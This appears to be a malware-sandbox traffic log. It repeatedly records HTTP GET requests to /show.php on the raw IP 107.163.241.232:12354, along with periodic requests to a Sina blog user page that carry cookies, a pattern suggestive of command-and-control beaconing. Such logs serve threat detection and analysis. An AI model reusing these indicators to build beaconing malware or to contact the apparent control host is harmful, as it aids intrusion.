Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
